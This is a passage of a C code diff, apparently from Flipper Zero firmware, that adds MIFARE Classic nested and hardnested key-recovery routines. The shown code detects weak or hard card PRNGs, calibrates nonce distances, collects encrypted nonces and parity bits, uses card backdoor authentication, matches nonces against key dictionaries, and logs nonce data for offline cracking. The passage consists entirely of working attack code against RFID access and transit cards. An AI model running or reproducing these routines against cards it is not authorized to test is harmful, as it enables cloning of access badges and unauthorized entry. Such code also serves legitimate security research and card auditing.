= new_nonces; + array->nonces[array->count].cuid = cuid; + array->nonces[array->count].key_idx = key_idx; + array->nonces[array->count].nt = nt; + array->nonces[array->count].nt_enc = nt_enc; + array->nonces[array->count].par = par; + array->nonces[array->count].dist = dist; + array->count++; + return true; +} + +NfcCommand mf_classic_poller_handler_nested_analyze_prng(MfClassicPoller* instance) { + NfcCommand command = NfcCommandContinue; + MfClassicPollerDictAttackContext* dict_attack_ctx = &instance->mode_ctx.dict_attack_ctx; + uint8_t hard_nt_count = 0; + + for(uint8_t i = 0; i < dict_attack_ctx->nested_nonce.count; i++) { + MfClassicNestedNonce* nonce = &dict_attack_ctx->nested_nonce.nonces[i]; + if(!is_weak_prng_nonce(nonce->nt)) hard_nt_count++; + } + + if(hard_nt_count >= MF_CLASSIC_NESTED_NT_HARD_MINIMUM) { + dict_attack_ctx->prng_type = MfClassicPrngTypeHard; + // FIXME: E -> D + FURI_LOG_E(TAG, "Detected Hard PRNG"); + } else { + dict_attack_ctx->prng_type = MfClassicPrngTypeWeak; + // FIXME: E -> D + FURI_LOG_E(TAG, "Detected Weak PRNG"); + } + + instance->state = MfClassicPollerStateNestedController; + return command; +} + +NfcCommand mf_classic_poller_handler_nested_collect_nt(MfClassicPoller* instance) { + NfcCommand command = NfcCommandReset; + MfClassicPollerDictAttackContext* dict_attack_ctx = &instance->mode_ctx.dict_attack_ctx; + + MfClassicNt nt = {}; + MfClassicError error = mf_classic_poller_get_nt(instance, 0, MfClassicKeyTypeA, &nt, false); + + if(error != MfClassicErrorNone) { + dict_attack_ctx->prng_type = MfClassicPrngTypeNoTag; + // FIXME: E -> D + FURI_LOG_E(TAG, "Failed to collect nt"); + } else { + // FIXME: E -> D + FURI_LOG_E(TAG, "nt: %02x%02x%02x%02x", nt.data[0], nt.data[1], nt.data[2], nt.data[3]); + uint32_t nt_data = bit_lib_bytes_to_num_be(nt.data, sizeof(MfClassicNt)); + if(!add_nested_nonce( + &dict_attack_ctx->nested_nonce, + iso14443_3a_get_cuid(instance->data->iso14443_3a_data), + 0, + nt_data, + 0, + 0, + 0)) { + dict_attack_ctx->prng_type = MfClassicPrngTypeNoTag; + } + } + + instance->state = MfClassicPollerStateNestedController; + return command; +} + +NfcCommand mf_classic_poller_handler_nested_calibrate(MfClassicPoller* instance) { + NfcCommand command = NfcCommandContinue; + MfClassicPollerDictAttackContext* dict_attack_ctx = &instance->mode_ctx.dict_attack_ctx; + uint32_t nt_enc_temp_arr[MF_CLASSIC_NESTED_CALIBRATION_COUNT]; + + dict_attack_ctx->d_min = UINT16_MAX; + dict_attack_ctx->d_max = 0; + uint8_t block = + mf_classic_get_first_block_num_of_sector(dict_attack_ctx->nested_known_key_sector); + uint32_t cuid = iso14443_3a_get_cuid(instance->data->iso14443_3a_data); + + MfClassicAuthContext auth_ctx = {}; + MfClassicError error; + + uint32_t nt_prev = 0; + uint32_t nt_enc_prev = 0; + uint32_t same_nt_enc_cnt = 0; + uint8_t nt_enc_collected = 0; + bool use_backdoor = (dict_attack_ctx->backdoor != MfClassicBackdoorNone); + + // Step 1: Perform full authentication once + error = mf_classic_poller_auth( + instance, + block, + &dict_attack_ctx->nested_known_key, + dict_attack_ctx->nested_known_key_type, + &auth_ctx, + use_backdoor); + + if(error != MfClassicErrorNone) { + FURI_LOG_E(TAG, "Failed to perform full authentication"); + instance->state = MfClassicPollerStateNestedCalibrate; + return command; + } + + FURI_LOG_E(TAG, "Full authentication successful"); + + nt_prev = bit_lib_bytes_to_num_be(auth_ctx.nt.data, sizeof(MfClassicNt)); + + if((dict_attack_ctx->static_encrypted) && + (dict_attack_ctx->backdoor == MfClassicBackdoorAuth2)) { + command = NfcCommandReset; + uint8_t target_block = + mf_classic_get_first_block_num_of_sector(dict_attack_ctx->nested_target_key / 4); + error = mf_classic_poller_auth_nested( + instance, + target_block, + &dict_attack_ctx->nested_known_key, + dict_attack_ctx->nested_known_key_type, + &auth_ctx, + use_backdoor, + false); + + if(error != MfClassicErrorNone) { + FURI_LOG_E(TAG, "Failed to perform nested authentication for static encrypted tag"); + instance->state = MfClassicPollerStateNestedCalibrate; + return command; + } + + uint32_t nt_enc = bit_lib_bytes_to_num_be(auth_ctx.nt.data, sizeof(MfClassicNt)); + // Store the decrypted static encrypted nonce + dict_attack_ctx->static_encrypted_nonce = + decrypt_nt_enc(cuid, nt_enc, dict_attack_ctx->nested_known_key); + + dict_attack_ctx->calibrated = true; + + FURI_LOG_E(TAG, "Static encrypted tag calibrated. Decrypted nonce: %08lx", nt_enc); + + instance->state = MfClassicPollerStateNestedController; + return command; + } + + // Original calibration logic for non-static encrypted tags + // Step 2: Perform nested authentication multiple times + for(uint8_t collection_cycle = 0; collection_cycle < MF_CLASSIC_NESTED_CALIBRATION_COUNT; + collection_cycle++) { + error = mf_classic_poller_auth_nested( + instance, + block, + &dict_attack_ctx->nested_known_key, + dict_attack_ctx->nested_known_key_type, + &auth_ctx, + use_backdoor, + false); + + if(error != MfClassicErrorNone) { + FURI_LOG_E(TAG, "Failed to perform nested authentication %u", collection_cycle); + continue; + } + + nt_enc_temp_arr[collection_cycle] = + bit_lib_bytes_to_num_be(auth_ctx.nt.data, sizeof(MfClassicNt)); + nt_enc_collected++; + } + + for(int i = 0; i < nt_enc_collected; i++) { + if(nt_enc_temp_arr[i] == nt_enc_prev) { + same_nt_enc_cnt++; + if(same_nt_enc_cnt > 3) { + dict_attack_ctx->static_encrypted = true; + break; + } + } else { + same_nt_enc_cnt = 0; + nt_enc_prev = nt_enc_temp_arr[i]; + } + } + + if(dict_attack_ctx->static_encrypted) { + FURI_LOG_E(TAG, "Static encrypted nonce detected"); + dict_attack_ctx->calibrated = true; + instance->state = MfClassicPollerStateNestedController; + return command; + } + + // Find the distance between each nonce + FURI_LOG_E(TAG, "Calculating distance between nonces"); + uint64_t known_key = bit_lib_bytes_to_num_be(dict_attack_ctx->nested_known_key.data, 6); + for(uint32_t collection_cycle = 0; collection_cycle < MF_CLASSIC_NESTED_CALIBRATION_COUNT; + collection_cycle++) { + bool found = false; + uint32_t decrypted_nt_enc = decrypt_nt_enc( + cuid, nt_enc_temp_arr[collection_cycle], dict_attack_ctx->nested_known_key); + // TODO: Make sure we're not off-by-one here + for(int i = 0; i < 65535; i++) { + uint32_t nth_successor = prng_successor(nt_prev, i); + if(nth_successor != decrypted_nt_enc) { + continue; + } + if(collection_cycle > 0) { + FURI_LOG_E(TAG, "nt_enc (plain) %08lx", nth_successor); + FURI_LOG_E(TAG, "dist from nt prev: %i", i); + if(i < dict_attack_ctx->d_min) dict_attack_ctx->d_min = i; + if(i > dict_attack_ctx->d_max) dict_attack_ctx->d_max = i; + } + nt_prev = nth_successor; + found = true; + break; + } + if(!found) { + FURI_LOG_E( + TAG, + "Failed to find distance for nt_enc %08lx", + nt_enc_temp_arr[collection_cycle]); + FURI_LOG_E( + TAG, "using key %06llx and uid %08lx, nt_prev is %08lx", known_key, cuid, nt_prev); + } + } + + // Some breathing room, doesn't account for overflows or static nested (FIXME) + dict_attack_ctx->d_min -= 3; + dict_attack_ctx->d_max += 3; + + furi_assert(dict_attack_ctx->d_min <= dict_attack_ctx->d_max); + dict_attack_ctx->calibrated = true; + instance->state = MfClassicPollerStateNestedController; + + mf_classic_poller_halt(instance); + FURI_LOG_E( + TAG, + "Calibration completed: min=%u max=%u static=%s", + dict_attack_ctx->d_min, + dict_attack_ctx->d_max, + (dict_attack_ctx->d_min == dict_attack_ctx->d_max) ? "true" : "false"); + + return command; +} + +static inline void set_byte_found(uint8_t* found, uint8_t byte) { + SET_PACKED_BIT(found, byte); +} + +static inline bool is_byte_found(uint8_t* found, uint8_t byte) { + return GET_PACKED_BIT(found, byte) != 0; +} + +NfcCommand mf_classic_poller_handler_nested_collect_nt_enc(MfClassicPoller* instance) { + // TODO: Handle when nonce is not collected (retry counter? Do not increment nested_target_key) + // TODO: Look into using MfClassicNt more + NfcCommand command = NfcCommandReset; + MfClassicPollerDictAttackContext* dict_attack_ctx = &instance->mode_ctx.dict_attack_ctx; + + do { + uint8_t block = + mf_classic_get_first_block_num_of_sector(dict_attack_ctx->nested_known_key_sector); + uint32_t cuid = iso14443_3a_get_cuid(instance->data->iso14443_3a_data); + + MfClassicAuthContext auth_ctx = {}; + MfClassicError error; + + bool use_backdoor_for_initial_auth = (dict_attack_ctx->backdoor != MfClassicBackdoorNone); + bool is_weak = dict_attack_ctx->prng_type == MfClassicPrngTypeWeak; + uint8_t nonce_pair_index = is_weak ? (dict_attack_ctx->nested_target_key % 2) : 0; + uint8_t nt_enc_per_collection = + (is_weak && !(dict_attack_ctx->static_encrypted)) ? + ((dict_attack_ctx->attempt_count + 2) + nonce_pair_index) : + 1; + MfClassicKeyType target_key_type = ((dict_attack_ctx->nested_target_key & 0x03) < 2) ? + MfClassicKeyTypeA : + MfClassicKeyTypeB; + // TODO: mf_classic_get_sector_trailer_num_by_sector or mf_classic_get_sector_trailer_num_by_block? Match calibrated? + uint8_t target_block = (4 * (dict_attack_ctx->nested_target_key / 4)) + 3; + uint32_t nt_enc_temp_arr[nt_enc_per_collection]; + uint8_t nt_enc_collected = 0; + uint8_t parity = 0; + + // Step 1: Perform full authentication once + error = mf_classic_poller_auth( + instance, + block, + &dict_attack_ctx->nested_known_key, + dict_attack_ctx->nested_known_key_type, + &auth_ctx, + use_backdoor_for_initial_auth); + + if(error != MfClassicErrorNone) { + FURI_LOG_E(TAG, "Failed to perform full authentication"); + break; + } + + FURI_LOG_E(TAG, "Full authentication successful"); + + // Step 2: Perform nested authentication a variable number of times to get nt_enc at a different PRNG offset + // eg. Collect most commonly observed nonce from 3 auths to known sector and 4th to target, then separately the + // most commonly observed nonce from 4 auths to known sector and 5th to target. This gets us a nonce pair, + // at a known distance (confirmed by parity bits) telling us the nt_enc plain. + for(uint8_t collection_cycle = 0; collection_cycle < (nt_enc_per_collection - 1); + collection_cycle++) { + // This loop must match the calibrated loop + error = mf_classic_poller_auth_nested( + instance, + block, + &dict_attack_ctx->nested_known_key, + dict_attack_ctx->nested_known_key_type, + &auth_ctx, + false, + false); + + if(error != MfClassicErrorNone) { + FURI_LOG_E(TAG, "Failed to perform nested authentication %u", collection_cycle); + break; + } + + nt_enc_temp_arr[collection_cycle] = + bit_lib_bytes_to_num_be(auth_ctx.nt.data, sizeof(MfClassicNt)); + nt_enc_collected++; + } + error = mf_classic_poller_auth_nested( + instance, + target_block, + &dict_attack_ctx->nested_known_key, + target_key_type, + &auth_ctx, + false, + true); + + if(nt_enc_collected != (nt_enc_per_collection - 1)) { + FURI_LOG_E(TAG, "Failed to collect sufficient nt_enc values"); + break; + } + + uint32_t nt_enc = bit_lib_bytes_to_num_be(auth_ctx.nt.data, sizeof(MfClassicNt)); + // Collect parity bits + const uint8_t* parity_data = bit_buffer_get_parity(instance->rx_plain_buffer); + for(int i = 0; i < 4; i++) { + parity = (parity << 1) | (((parity_data[0] >> i) & 0x01) ^ 0x01); + } + + uint32_t nt_prev = 0, decrypted_nt_prev = 0, found_nt = 0; + uint16_t dist = 0; + if(is_weak && !(dict_attack_ctx->static_encrypted)) { + // Decrypt the previous nonce + nt_prev = nt_enc_temp_arr[nt_enc_collected - 1]; + decrypted_nt_prev = decrypt_nt_enc(cuid, nt_prev, dict_attack_ctx->nested_known_key); + + // Find matching nt_enc plain at expected distance + found_nt = 0; + uint8_t found_nt_cnt = 0; + uint16_t current_dist = dict_attack_ctx->d_min; + while(current_dist <= dict_attack_ctx->d_max) { + uint32_t nth_successor = prng_successor(decrypted_nt_prev, current_dist); + if(nonce_matches_encrypted_parity_bits( + nth_successor, nth_successor ^ nt_enc, parity)) { + found_nt_cnt++; + if(found_nt_cnt > 1) { + FURI_LOG_E(TAG, "Ambiguous nonce, dismissing collection attempt"); + break; + } + found_nt = nth_successor; + } + current_dist++; + } + if(found_nt_cnt != 1) { + break; + } + } else if(dict_attack_ctx->static_encrypted) { + if(dict_attack_ctx->backdoor == MfClassicBackdoorAuth2) { + found_nt = dict_attack_ctx->static_encrypted_nonce; + } else { + dist = UINT16_MAX; + } + } else { + // Hardnested + if(!is_byte_found(dict_attack_ctx->nt_enc_msb, (nt_enc >> 24) & 0xFF)) { + set_byte_found(dict_attack_ctx->nt_enc_msb, (nt_enc >> 24) & 0xFF); + // Add unique parity to sum + dict_attack_ctx->msb_par_sum += nfc_util_even_parity32(parity & 0x08); + } + parity ^= 0x0F; + } + + // Add the nonce to the array + if(add_nested_nonce( + &dict_attack_ctx->nested_nonce, + cuid, + dict_attack_ctx->nested_target_key, + found_nt, + nt_enc, + parity, + dist)) { + dict_attack_ctx->auth_passed = true; + } else { + FURI_LOG_E(TAG, "Failed to add nested nonce to array. OOM?"); + } + + FURI_LOG_E( + TAG, + "Target: %u (nonce pair %u, key type %s, block %u)", + dict_attack_ctx->nested_target_key, + nonce_pair_index, + (target_key_type == MfClassicKeyTypeA) ? "A" : "B", + target_block); + FURI_LOG_E(TAG, "cuid: %08lx", cuid); + FURI_LOG_E(TAG, "nt_enc: %08lx", nt_enc); + FURI_LOG_E( + TAG, + "parity: %u%u%u%u", + ((parity >> 3) & 1), + ((parity >> 2) & 1), + ((parity >> 1) & 1), + (parity & 1)); + FURI_LOG_E(TAG, "nt_enc prev: %08lx", nt_prev); + FURI_LOG_E(TAG, "nt_enc prev decrypted: %08lx", decrypted_nt_prev); + } while(false); + + instance->state = MfClassicPollerStateNestedController; + + mf_classic_poller_halt(instance); + return command; +} + +static MfClassicKey* search_dicts_for_nonce_key( + MfClassicPollerDictAttackContext* dict_attack_ctx, + MfClassicNestedNonceArray* nonce_array, + KeysDict* system_dict, + KeysDict* user_dict, + bool is_weak) { + MfClassicKey stack_key; + KeysDict* dicts[] = {user_dict, system_dict}; + bool is_resumed = dict_attack_ctx->nested_phase == MfClassicNestedPhaseDictAttackResume; + bool found_resume_point = false; + + for(int i = 0; i < 2; i++) { + if(!dicts[i]) continue; + keys_dict_rewind(dicts[i]); + while(keys_dict_get_next_key(dicts[i], stack_key.data, sizeof(MfClassicKey))) { + if(is_resumed && !found_resume_point) { + found_resume_point = + (memcmp( + dict_attack_ctx->current_key.data, + stack_key.data, + sizeof(MfClassicKey)) == 0); + continue; + } + bool full_match = true; + for(uint8_t j = 0; j < nonce_array->count; j++) { + // Verify nonce matches encrypted parity bits for all nonces + uint32_t nt_enc_plain = decrypt_nt_enc( + nonce_array->nonces[j].cuid, nonce_array->nonces[j].nt_enc, stack_key); + if(is_weak) { + full_match &= is_weak_prng_nonce(nt_enc_plain); + if(!full_match) break; + } + full_match &= nonce_matches_encrypted_parity_bits( + nt_enc_plain, + nt_enc_plain ^ nonce_array->nonces[j].nt_enc, + nonce_array->nonces[j].par); + if(!full_match) break; + } + if(full_match) { + MfClassicKey* new_candidate = malloc(sizeof(MfClassicKey)); + if(new_candidate == NULL) return NULL; // malloc failed + memcpy(new_candidate, &stack_key, sizeof(MfClassicKey)); + return new_candidate; + } + } + } + + return NULL; +} + +NfcCommand mf_classic_poller_handler_nested_dict_attack(MfClassicPoller* instance) { + // TODO: Handle when nonce is not collected (retry counter? Do not increment nested_dict_target_key) + // TODO: Look into using MfClassicNt more + NfcCommand command = NfcCommandReset; + MfClassicPollerDictAttackContext* dict_attack_ctx = &instance->mode_ctx.dict_attack_ctx; + + do { + uint8_t block = + mf_classic_get_first_block_num_of_sector(dict_attack_ctx->nested_known_key_sector); + uint32_t cuid = iso14443_3a_get_cuid(instance->data->iso14443_3a_data); + + MfClassicAuthContext auth_ctx = {}; + MfClassicError error; + + bool use_backdoor_for_initial_auth = (dict_attack_ctx->backdoor != MfClassicBackdoorNone); + bool is_weak = dict_attack_ctx->prng_type == MfClassicPrngTypeWeak; + bool is_last_iter_for_hard_key = + ((!is_weak) && ((dict_attack_ctx->nested_target_key % 8) == 7)); + MfClassicKeyType target_key_type = + (((is_weak) && ((dict_attack_ctx->nested_target_key % 2) == 0)) || + ((!is_weak) && ((dict_attack_ctx->nested_target_key % 16) < 8))) ? + MfClassicKeyTypeA : + MfClassicKeyTypeB; + // TODO: mf_classic_get_sector_trailer_num_by_sector or mf_classic_get_sector_trailer_num_by_block? + uint8_t target_block = (is_weak) ? (4 * (dict_attack_ctx->nested_target_key / 2)) + 3 : + (4 * (dict_attack_ctx->nested_target_key / 16)) + 3; + uint8_t parity = 0; + + if(((is_weak) && (dict_attack_ctx->nested_nonce.count == 0)) || + ((!is_weak) && (dict_attack_ctx->nested_nonce.count < 8))) { + // Step 1: Perform full authentication once + error = mf_classic_poller_auth( + instance, + block, + &dict_attack_ctx->nested_known_key, + dict_attack_ctx->nested_known_key_type, + &auth_ctx, + use_backdoor_for_initial_auth); + + if(error != MfClassicErrorNone) { + FURI_LOG_E(TAG, "Failed to perform full authentication"); + dict_attack_ctx->auth_passed = false; + break; + } + + FURI_LOG_E(TAG, "Full authentication successful"); + + // Step 2: Collect nested nt and parity + error = mf_classic_poller_auth_nested( + instance, + target_block, + &dict_attack_ctx->nested_known_key, + target_key_type, + &auth_ctx, + false, + true); + + if(error != MfClassicErrorNone) { + FURI_LOG_E(TAG, "Failed to perform nested authentication"); + dict_attack_ctx->auth_passed = false; + break; + } + + uint32_t nt_enc = bit_lib_bytes_to_num_be(auth_ctx.nt.data, sizeof(MfClassicNt)); + // Collect parity bits + const uint8_t* parity_data = bit_buffer_get_parity(instance->rx_plain_buffer); + for(int i = 0; i < 4; i++) { + parity = (parity << 1) | (((parity_data[0] >> i) & 0x01) ^ 0x01); + } + + bool success = add_nested_nonce( + &dict_attack_ctx->nested_nonce, + cuid, + dict_attack_ctx->nested_target_key, + 0, + nt_enc, + parity, + 0); + if(!success) { + FURI_LOG_E(TAG, "Failed to add nested nonce to array. OOM?"); + dict_attack_ctx->auth_passed = false; + break; + } + + dict_attack_ctx->auth_passed = true; + } + // If we have sufficient nonces, search the dictionaries for the key + if((is_weak && (dict_attack_ctx->nested_nonce.count == 1)) || + (is_last_iter_for_hard_key && (dict_attack_ctx->nested_nonce.count == 8))) { + // Identify key candidates + MfClassicKey* key_candidate = search_dicts_for_nonce_key( + dict_attack_ctx, + &dict_attack_ctx->nested_nonce, + dict_attack_ctx->mf_classic_system_dict, + dict_attack_ctx->mf_classic_user_dict, + is_weak); + if(key_candidate != NULL) { + FURI_LOG_E( + TAG, + "Found key candidate %06llx", + bit_lib_bytes_to_num_be(key_candidate->data, sizeof(MfClassicKey))); + dict_attack_ctx->current_key = *key_candidate; + dict_attack_ctx->reuse_key_sector = (target_block / 4); + dict_attack_ctx->current_key_type = target_key_type; + free(key_candidate); + break; + } else { + free(dict_attack_ctx->nested_nonce.nonces); + dict_attack_ctx->nested_nonce.nonces = NULL; + dict_attack_ctx->nested_nonce.count = 0; + } + } + + FURI_LOG_E( + TAG, + "Target: %u (key type %s, block %u) cuid: %08lx", + dict_attack_ctx->nested_target_key, + (target_key_type == MfClassicKeyTypeA) ? "A" : "B", + target_block, + cuid); + } while(false); + + instance->state = MfClassicPollerStateNestedController; + + mf_classic_poller_halt(instance); + return command; +} + +NfcCommand mf_classic_poller_handler_nested_log(MfClassicPoller* instance) { + furi_assert(instance->mode_ctx.dict_attack_ctx.nested_nonce.count > 0); + furi_assert(instance->mode_ctx.dict_attack_ctx.nested_nonce.nonces); + + NfcCommand command = NfcCommandContinue; + bool params_saved = false; + MfClassicPollerDictAttackContext* dict_attack_ctx = &instance->mode_ctx.dict_attack_ctx; + Storage* storage = furi_record_open(RECORD_STORAGE); + Stream* stream = buffered_file_stream_alloc(storage); + FuriString* temp_str = furi_string_alloc(); + bool weak_prng = dict_attack_ctx->prng_type == MfClassicPrngTypeWeak; + bool static_encrypted = dict_attack_ctx->static_encrypted; + + do { + if(weak_prng && (!(static_encrypted)) && (dict_attack_ctx->nested_nonce.count != 2)) { + FURI_LOG_E( + TAG, + "MfClassicPollerStateNestedLog expected 2 nonces, received %u", + dict_attack_ctx->nested_nonce.count); + break; + } + + uint32_t nonce_pair_count = dict_attack_ctx->prng_type == MfClassicPrngTypeWeak ? + 1 : + dict_attack_ctx->nested_nonce.count; + + if(!buffered_file_stream_open( + stream, MF_CLASSIC_NESTED_LOGS_FILE_PATH, FSAM_WRITE, FSOM_OPEN_APPEND)) + break; + + bool params_write_success = true; + for(size_t i = 0; i < nonce_pair_count; i++) { + MfClassicNestedNonce* nonce = &dict_attack_ctx->nested_nonce.nonces[i]; + furi_string_printf( + temp_str, + "Sec %d key %c cuid %08lx", + (nonce->key_idx / 4), + ((nonce->key_idx & 0x03) < 2) ? 'A' : 'B', + nonce->cuid); + for(uint8_t nt_idx = 0; nt_idx < ((weak_prng && (!(static_encrypted))) ? 2 : 1); + nt_idx++) { + if(nt_idx == 1) { + nonce = &dict_attack_ctx->nested_nonce.nonces[i + 1]; + } + furi_string_cat_printf( + temp_str, + " nt%u %08lx ks%u %08lx par%u ", + nt_idx, + nonce->nt, + nt_idx, + nonce->nt_enc ^ nonce->nt, + nt_idx); + for(uint8_t pb = 0; pb < 4; pb++) { + furi_string_cat_printf(temp_str, "%u", (nonce->par >> (3 - pb)) & 1); + } + } + if(dict_attack_ctx->prng_type == MfClassicPrngTypeWeak) { + furi_string_cat_printf(temp_str, " dist %u\n", nonce->dist); + } else { + furi_string_cat_printf(temp_str, "\n"); + } + if(!stream_write_string(stream, temp_str)) { + params_write_success = false; + break; + } + } + if(!params_write_success) break; + + params_saved = true; + } while(false); + + furi_assert(params_saved); + free(dict_attack_ctx->nested_nonce.nonces); + dict_attack_ctx->nested_nonce.nonces = NULL; + dict_attack_ctx->nested_nonce.count = 0; + furi_string_free(temp_str); + buffered_file_stream_close(stream); + stream_free(stream); + furi_record_close(RECORD_STORAGE); + instance->state = MfClassicPollerStateNestedController; + return command; +} + +bool mf_classic_nested_is_target_key_found(MfClassicPoller* instance, bool is_dict_attack) { + MfClassicPollerDictAttackContext* dict_attack_ctx = &instance->mode_ctx.dict_attack_ctx; + bool is_weak = dict_attack_ctx->prng_type == MfClassicPrngTypeWeak; + uint8_t nested_target_key = dict_attack_ctx->nested_target_key; + + MfClassicKeyType target_key_type; + uint8_t target_sector; + + if(is_dict_attack) { + target_key_type = (((is_weak) && ((nested_target_key % 2) == 0)) || + ((!is_weak) && ((nested_target_key % 16) < 8))) ? + MfClassicKeyTypeA : + MfClassicKeyTypeB; + target_sector = is_weak ? (nested_target_key / 2) : (nested_target_key / 16); + } else { + target_key_type = (((is_weak) && ((nested_target_key % 4) < 2)) || + ((!is_weak) && ((nested_target_key % 2) == 0))) ? + MfClassicKeyTypeA : + MfClassicKeyTypeB; + target_sector = is_weak ? (nested_target_key / 4) : (nested_target_key / 2); + } + + return mf_classic_is_key_found(instance->data, target_sector, target_key_type); +} + +bool found_all_nt_enc_msb(const MfClassicPollerDictAttackContext* dict_attack_ctx) { + for(int i = 0; i < 32; i++) { + if(dict_attack_ctx->nt_enc_msb[i] != 0xFF) { + return false; + } + } + return true; +} + +bool is_valid_sum(uint16_t sum) { + for(size_t i = 0; i < 19; i++) { + if(sum == valid_sums[i]) { + return true; + } + } + return false; +} + +NfcCommand mf_classic_poller_handler_nested_controller(MfClassicPoller* instance) { + // Iterate through keys + //NfcCommand command = NfcCommandContinue; + NfcCommand command = mf_classic_poller_handle_data_update(instance); + MfClassicPollerDictAttackContext* dict_attack_ctx = &instance->mode_ctx.dict_attack_ctx; + bool initial_dict_attack_iter = false; + if(dict_attack_ctx->nested_phase == MfClassicNestedPhaseNone) { + dict_attack_ctx->auth_passed = true; + dict_attack_ctx->nested_known_key = dict_attack_ctx->current_key; + bool backdoor_present = (dict_attack_ctx->backdoor != MfClassicBackdoorNone); + if(!(backdoor_present)) { + for(uint8_t sector = 0; sector < instance->sectors_total; sector++) { + for(uint8_t key_type = 0; key_type < 2; key_type++) { + if(mf_classic_is_key_found(instance->data, sector, key_type)) { + dict_attack_ctx->nested_known_key_sector = sector; + dict_attack_ctx->nested_known_key_type = key_type; + break; + } + } + } + dict_attack_ctx->nested_phase = MfClassicNestedPhaseAnalyzePRNG; + } else { + dict_attack_ctx->nested_known_key_sector = 0; + dict_attack_ctx->nested_known_key_type = MfClassicKeyTypeA; + dict_attack_ctx->prng_type = MfClassicPrngTypeWeak; + if(dict_attack_ctx->backdoor == MfClassicBackdoorAuth2) { + dict_attack_ctx->static_encrypted = true; + } + dict_attack_ctx->nested_phase = MfClassicNestedPhaseDictAttack; + initial_dict_attack_iter = true; + } + } + if(dict_attack_ctx->nested_phase == MfClassicNestedPhaseAnalyzePRNG) { + if(dict_attack_ctx->nested_nonce.count < MF_CLASSIC_NESTED_ANALYZE_NT_COUNT) { + instance->state = MfClassicPollerStateNestedCollectNt; + return command; + } else if( + (dict_attack_ctx->nested_nonce.count == MF_CLASSIC_NESTED_ANALYZE_NT_COUNT) && + (dict_attack_ctx->prng_type == MfClassicPrngTypeUnknown)) { + instance->state = MfClassicPollerStateNestedAnalyzePRNG; + return command; + } else if(dict_attack_ctx->prng_type == MfClassicPrngTypeNoTag) { + FURI_LOG_E(TAG, "No tag detected"); + // Free nonce array + if(dict_attack_ctx->nested_nonce.nonces) { + free(dict_attack_ctx->nested_nonce.nonces); + dict_attack_ctx->nested_nonce.nonces = NULL; + dict_attack_ctx->nested_nonce.count = 0; + } + instance->state = MfClassicPollerStateFail; + return command; + } + if(dict_attack_ctx->nested_nonce.nonces) { + // Free nonce array + free(dict_attack_ctx->nested_nonce.nonces); + dict_attack_ctx->nested_nonce.nonces = NULL; + dict_attack_ctx->nested_nonce.count = 0; + } + dict_attack_ctx->nested_phase = MfClassicNestedPhaseDictAttack; + initial_dict_attack_iter = true; + } + // Accelerated nested dictionary attack + bool is_weak = dict_attack_ctx->prng_type == MfClassicPrngTypeWeak; + uint16_t dict_target_key_max = (dict_attack_ctx->prng_type == MfClassicPrngTypeWeak) ? + (instance->sectors_total * 2) : + (instance->sectors_total * 16); + if(dict_attack_ctx->nested_phase == MfClassicNestedPhaseDictAttackResume) { + if(!(mf_classic_nested_is_target_key_found(instance, true))) { + instance->state = MfClassicPollerStateNestedDictAttack; + return command; + } else { + dict_attack_ctx->auth_passed = true; + furi_assert(dict_attack_ctx->nested_nonce.nonces); + free(dict_attack_ctx->nested_nonce.nonces); + dict_attack_ctx->nested_nonce.nonces = NULL; + dict_attack_ctx->nested_nonce.count = 0; + dict_attack_ctx->nested_phase = MfClassicNestedPhaseDictAttack; + } + } + if((dict_attack_ctx->nested_phase == MfClassicNestedPhaseDictAttack) && + (dict_attack_ctx->nested_target_key < dict_target_key_max)) { + bool is_last_iter_for_hard_key = + ((!is_weak) && ((dict_attack_ctx->nested_target_key % 8) == 7)); + if(initial_dict_attack_iter) { + // Initialize dictionaries + // Note: System dict should always exist + dict_attack_ctx->mf_classic_system_dict = + keys_dict_check_presence(MF_CLASSIC_NESTED_SYSTEM_DICT_PATH) ? + keys_dict_alloc( + MF_CLASSIC_NESTED_SYSTEM_DICT_PATH, + KeysDictModeOpenExisting, + sizeof(MfClassicKey)) : + NULL; + + dict_attack_ctx->mf_classic_user_dict = + keys_dict_check_presence(MF_CLASSIC_NESTED_USER_DICT_PATH) ? + keys_dict_alloc( + MF_CLASSIC_NESTED_USER_DICT_PATH, + KeysDictModeOpenExisting, + sizeof(MfClassicKey)) : + NULL; + } + if((is_weak || is_last_iter_for_hard_key) && dict_attack_ctx->nested_nonce.count > 0) { + // Key reuse + dict_attack_ctx->nested_phase = MfClassicNestedPhaseDictAttackResume; + dict_attack_ctx->auth_passed = false; + instance->state = MfClassicPollerStateKeyReuseStartNoOffset; + return command; + } + if(!(dict_attack_ctx->auth_passed)) { + dict_attack_ctx->attempt_count++; + } else if(dict_attack_ctx->auth_passed && !(initial_dict_attack_iter)) { + dict_attack_ctx->nested_target_key++; + dict_attack_ctx->attempt_count = 0; + } + dict_attack_ctx->auth_passed = true; + if(dict_attack_ctx->nested_target_key == dict_target_key_max) { + if(dict_attack_ctx->mf_classic_system_dict) { + keys_dict_free(dict_attack_ctx->mf_classic_system_dict); + } + if(dict_attack_ctx->mf_classic_user_dict) { + keys_dict_free(dict_attack_ctx->mf_classic_user_dict); + } + dict_attack_ctx->nested_target_key = 0; + if(mf_classic_is_card_read(instance->data)) { + // All keys have been collected + FURI_LOG_E(TAG, "All keys collected and sectors read"); + dict_attack_ctx->nested_phase = MfClassicNestedPhaseFinished; + instance->state = MfClassicPollerStateSuccess; + return command; + } + dict_attack_ctx->nested_phase = MfClassicNestedPhaseCalibrate; + instance->state = MfClassicPollerStateNestedController; + return command; + } + if(dict_attack_ctx->attempt_count == 0) { + // Check if the nested target key is a known key + if(mf_classic_nested_is_target_key_found(instance, true)) { + // Continue to next key + instance->state = MfClassicPollerStateNestedController; + return command; + } + } + if(dict_attack_ctx->attempt_count >= 3) { + // Unpredictable, skip + FURI_LOG_E(TAG, "Failed to collect nonce, skipping key"); + dict_attack_ctx->nested_target_key++; + dict_attack_ctx->attempt_count = 0; + } + instance->state = MfClassicPollerStateNestedDictAttack; + return command; + } + // Calibration + bool initial_collect_nt_enc_iter = false; + if(!(dict_attack_ctx->calibrated)) { + if(dict_attack_ctx->prng_type == MfClassicPrngTypeWeak) { + instance->state = MfClassicPollerStateNestedCalibrate; + return command; + } + initial_collect_nt_enc_iter = true; + dict_attack_ctx->auth_passed = true; + dict_attack_ctx->calibrated = true; + dict_attack_ctx->current_key_checked = false; + dict_attack_ctx->nested_phase = MfClassicNestedPhaseCollectNtEnc; + } else if(dict_attack_ctx->nested_phase == MfClassicNestedPhaseCalibrate) { + initial_collect_nt_enc_iter = true; + dict_attack_ctx->auth_passed = true; + dict_attack_ctx->current_key_checked = false; + dict_attack_ctx->nested_phase = MfClassicNestedPhaseCollectNtEnc; + } + // 